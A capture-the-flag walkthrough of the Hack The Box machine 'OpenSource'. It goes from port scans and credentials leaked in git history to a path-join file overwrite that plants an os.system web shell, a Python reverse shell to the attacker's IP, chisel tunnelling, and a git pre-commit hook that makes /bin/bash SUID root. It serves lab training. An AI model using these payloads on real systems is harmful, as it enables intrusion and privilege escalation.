OpenSource - [HTB]

Cover Image for OpenSource - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    OpenSource is an easy Linux machine from Hack The Box where the attacker will have to analyse the git repository of an open-source application in order to find some credentials and a vulnerability to obtain RCE. Then, it will have to do some port forwarding with proxychains to access an internal gitea account with the previous previously obtained credentials from the downloaded repository, obtaining a private key and gain access to the machine. Finally, it will have to create a git hook to escalate privilege as root.

    Enumeration

    As always, let's start scanning all opened ports in the box with Nmap.

    kali@kali:~/Documents/HTB/OpenSource$ sudo nmap -v -sS -p- -n -T4 -oN AllPorts.txt 10.10.11.164
    Nmap scan report for 10.10.11.164
    Host is up (0.049s latency).
    Not shown: 65532 closed ports
    PORT     STATE    SERVICE
    22/tcp   open     ssh
    80/tcp   open     http
    3000/tcp filtered ppp
    
    Read data files from: /usr/bin/../share/nmap
    # Nmap done at Sun May 29 03:45:19 2022 -- 1 IP address (1 host up) scanned in 66.05 seconds

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/OpenSource$ sudo nmap -sC -sV -n -T4 -oN PortsDepth.txt -p 22,80,3000 10.10.11.164
    
    Nmap scan report for 10.10.11.164
    Host is up (0.050s latency).
    
    PORT     STATE    SERVICE VERSION
    22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
    |   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
    |_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
    80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
    [...]
    3000/tcp filtered ppp

    Starting at port 80, there is a web page about an open-source file upload platform, where it is also possible to download its source code.

    upcloud platform

    As we can see, each file is uploaded to /uploads/.

    File Upload success

    Once download the source code, we can see that there are two git branches.

    kali@kali:~/Documents/HTB/OpenSource/source_code$ git branch
      dev
    * public
    kali@kali:~/Documents/HTB/OpenSource/source_code$ git checkout dev
    Switched to branch 'dev' 
    kali@kali:~/Documents/HTB/OpenSource/source_code$ git log --oneline
    c41fede (HEAD -> dev) ease testing
    be4da71 added gitignore
    a76f8f7 updated
    ee9d9f1 initial
    

    Looking at the difference between each commit we can find some credentials.

    kali@kali:~/Documents/HTB/OpenSource/source_code$ git diff ee9d9f1 a76f8f7
    diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
    new file mode 100644
    index 0000000..5975e3f
    --- /dev/null
    +++ b/app/.vscode/settings.json
    @@ -0,0 +1,5 @@
    +{
    +  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
    +  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
    +  "http.proxyStrictSSL": false
    +}

    Furthermore, by looking at the public branch, we can get a clue about where the vulnerability might be.

    """
    TODO: get unique filename
    """
    
    def get_unique_upload_name(unsafe_filename):
        spl = unsafe_filename.rsplit("\\.", 1)
        file_name = spl[0]
        file_extension = spl[1]
        return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension

    Reading the comment, we can notice that there is a function to name the files uniquely. However, is not been implemented yet, so maybe we can overwrite some files.

    @app.route('/', methods=['GET', 'POST'])
    def upload_file():
        if request.method == 'POST':
            f = request.files['file']
            file_name = get_file_name(f.filename)
            file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
            f.save(file_path)
            return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
        return render_template('upload.html')

    Exploitation 1

    Reading the <code data-reactroot="">os.path.join</code> documentation, if an absolute path is provided, then all previous components joined are discarded and joining continues from the absolute path component.

    For instance, if the actual path is <PWD>/public/uploads/, but we provide /var/www/html/index.html, the result of the method will be /var/www/html/index.html.

    So, we can overwrite the views.py by sending the application's absolute path as the filename. Moreover, we can add a new route in order to obtain a web shell.

    # Route to obtain a web shell
    @app.route('/exec')
    def execute():
        return os.system(request.args.get("cmd"))

    After uploading the file, we need to intercept the request, changing the file name as appears in this image (The absolute path can be known by building and accessing the docker container).

    File upload request

    Then, in order to obtain a reverse shell on the container, we can send the following request.

    http://10.10.11.164/exec?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22<YOUR_IP>%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

    Exploitation 2

    Because at the beginning, there was the 3000 port filtered, let's see if we can access it through the docker container.

    /app # ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
    8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
        link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
        inet 172.17.0.4/16 brd 172.17.255.255 scope global eth0
           valid_lft forever preferred_lft forever
    /app # wget http://172.17.0.4:3000
    Connecting to 172.17.0.4:3000 (172.17.0.4:3000)
    wget: can't connect to remote host (172.17.0.4): Connection refused
    /app # wget http://172.17.0.1:3000
    Connecting to 172.17.0.1:3000 (172.17.0.1:3000)
    saving to 'index.html'
    index.html           100% |********************************| 13414  0:00:00 ETA
    'index.html' saved

    As you can see below, we can access the port through the host 172.17.0.1. Thus, in order to gain access to the web page from our attacker machine through the container, we are going to use chisel and proxychains.

    # Setting up chisel
    kali@kali:/tmp$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz -O chisel.gz
    kali@kali:/tmp$ gunzip chisel.gz 
    kali@kali:/tmp$ nc -nlvp 8081 < chisel
    
    /app # nc -w 1 10.10.14.10 8081 > chisel
    /app # chmod +x chisel
    
    
    #Setting up proxychains
    kali@kali:/tmp$ cat /etc/proxychains4.conf
    [...]
    socks5  127.0.0.1 1080
    kali@kali:/tmp$ ./chisel server --reverse --port 8081
    
    /app # ./chisel client 10.10.14.10:8081 R:socks

    Finally, we need to modify the FoxyProxy add-on to use socks5 (Used by chisel).

    Proxychains and FoxyProxy

    As we can see, now we can access the Gitea service on the internal network.

    Gitea web page

    Accessing as "dev01" with the credentials we obtained earlier at the repository, we can find a private repository with an SSH private key.

    dev01 private repository

    Using the private key, we can gain access to the machine, retrieving the user flag.

    kali@kali:~/Documents/HTB/OpenSource$ ssh -i id_rsa dev01@10.10.11.164
    dev01@opensource:~$ cat user.txt 
    [CENSORED]

    Privilege Escalation

    There is a cronjob being executed as root that updates the dev01's git repository located in its home.

    dev01@opensource:~$ cd /tmp/        
    dev01@opensource:/tmp$ wget 10.10.14.35/pspy64
    dev01@opensource:/tmp$ chmod +x pspy64                      
    dev01@opensource:/tmp$ ./pspy64 
    [...]
    2022/05/29 11:31:01 CMD: UID=0    PID=4874   | /bin/bash /usr/local/bin/git-sync 
    2022/05/29 11:31:01 CMD: UID=0    PID=4875   | git status --porcelain 
    2022/05/29 11:31:01 CMD: UID=0    PID=4877   | git add . 
    2022/05/29 11:31:01 CMD: UID=0    PID=4878   | git commit -m Backup for 2022-05-29 
    2022/05/29 11:31:01 CMD: UID=0    PID=4879   | git push origin main 
    2022/05/29 11:31:01 CMD: UID=0    PID=4880   | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git 

    Looking a GTFObins there is a way to escalate privileges using the git hooks. To do so, we need to execute the following commands.

     dev01@opensource:~$ echo -e '#!/bin/bash\nchmod +s /bin/bash' > .git/hooks/pre-commit
     dev01@opensource:~$ chmod +x .git/hooks/pre-commit

    After a minute or so, we will be able to execute /bin/bash as root, obtaining the root flag.

    dev01@opensource:~$ ls -la /bin/bash
    -rwsr-sr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
    dev01@opensource:~$ /bin/bash -p
    bash-4.4# cat /root/root.txt
    [CENSORED]